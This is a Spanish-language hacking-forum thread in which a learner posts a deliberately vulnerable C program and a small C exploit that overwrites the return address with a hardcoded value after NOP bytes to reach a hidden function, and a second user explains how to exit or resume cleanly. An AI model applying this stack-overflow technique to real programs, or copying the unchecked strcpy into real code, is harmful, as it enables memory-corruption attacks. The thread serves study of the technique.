[ Ayuda ] BufferOverflow en Windows

Iniciado por drift_bit, 13 Febrero 2011, 15:30 PM

0 Miembros y 1 Visitante están viendo este tema.

drift_bit

Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de  Ikary.-

El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...

Testeado en WindXP SP3, con Dev-c++.-

A continuación el programa Vulnerable a BoF:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int LeerFichero( char *, char *, int );
int FuncionVulnerable( char * );
int FuncionOculta();
   
main()
{
      char buffer[1000];
      char nombre[] = "archivo.txt";
      LeerFichero( buffer, nombre, 1000 );
      FuncionVulnerable( buffer );
      system( "pause" );
      return 0;     
}

int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
    int c, n=0;
    FILE *f;
    f = fopen( Fnombre, "r" );
    while( ( c = getc(f) ) != EOF ){
        if( n<Limite )
            Fbuffer[n++] = c;
    }
    Fbuffer[n++] = 0;
    fclose(f);
    return 0;
}

int FuncionVulnerable( char *cptr ){
    char buff[10] = "Datos";                 
    strcpy( buff, cptr );
    printf( " %s\n\n ", buff );
    return 0;
}

int FuncionOculta(  )
{
    printf( "  Descubriste la Funcion Oculta!" );
    return 0;
}




Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

main()
{
      char ret[] = "\xEC\x13\x40\x00";
      char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90";

      FILE *arch;
      arch = fopen( "archivo.txt", "w" );
     
      printf( "\n%s\n", ret );
      printf( "\n%s\n", nops );

      fputs( nops, arch );
      fputs( ret, arch );
      fclose( arch );
      printf( "\n\nExploit Listaylor\n" );
      getchar();
      return 0;
}



Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]

Garfield07

Mmm, el manual de Ikary está muy bien, yo saqué la idea de la función oculta de sus códigos... Yo me hice mi propio programa en C, pero lo borré el otro día...
Te iba a reescribir todo el código, pero creo que he encontrado el fallo...

int FuncionOculta(  )
{
   printf( "  Descubriste la Funcion Oculta!" );
// return 0;
   exit (0);
}


El fallo creo que está en que al volver con return coges la dirección del ret, pero es que el ret lo hemos sobreescrito y ya no nos vale...
Luego te posteo mi código reescrito...

Suerte!
PD: Que bien que vayas probando ya tú solo algunas cosas! Me ahorrarás mucho trabajo, créeme...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

drift_bit

#2
Gracias Sagrini, ahora no se cae el programa :)
el exit(0) finaliza el programa...

Sin embargo me quedó una duda...
Existe alguna forma de continuar el programa?, me explico...

Despues de llamar a la funcionOculta...
podemos volver al main?[ Me gusta enredarme la cabeza y hacerme preguntas xD ].

En este caso el programa haría: [main]LeerFichero-->FuncionVulnerable-->FuncionOculta---[main] System("pause");

Garfield07

#3
Metele al final de la shellcode una llamada a exit
Código (asm) [Seleccionar]

xor eax, eax
xor ebx, ebx
inc eax
int 0x80


Algo así
Suerte!
_______________________________
Modf por toque del autor... Esto es mi respuesta a su mensaje diciendo que no entiende esto último.

Pues ese code es una llamada a exit con 0 como primer parámetro en linux. Ahora que me doy cuenta escribes en Windows  :-X Perdona la confusión...
Yo a lo que me refería es que si quieres acabar el programa pues llamas a exit y listo...
_______________________________________________________________
Ahh, perdona mi despiste! Ahora me doy cuenta de lo que quieres :P
Vale, para lo que dices deberías hacer algo como un jump a main, pero el problema es que sería algo difícil, pues deberías restaurar un puñado de cosas...
Que sepas que se puede, pero tienes que liártelas con ASM. Es restablecer el programa a como estaba al volver. Difícil, pero posible...

Si quieres, un día leí algo parecido a un ataque a un servidor web en linux, en el que se dejaba todo como estaba... El libro era "Hacking, técnicas fundamentales", pero lo veo difícil para lo que considero tu nivel, y aparte es para linux...
En resumen: Si quisieses hacerlo deberías desensamblar todo y arreglártelas para dejar todos los registros y la pila IGUAL que antes de tu intervención maligna ;)
No, no conozco nada de eso, pero te animo a que sigas buscando. Vas por el buen camino ;D

Cualquier duda...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo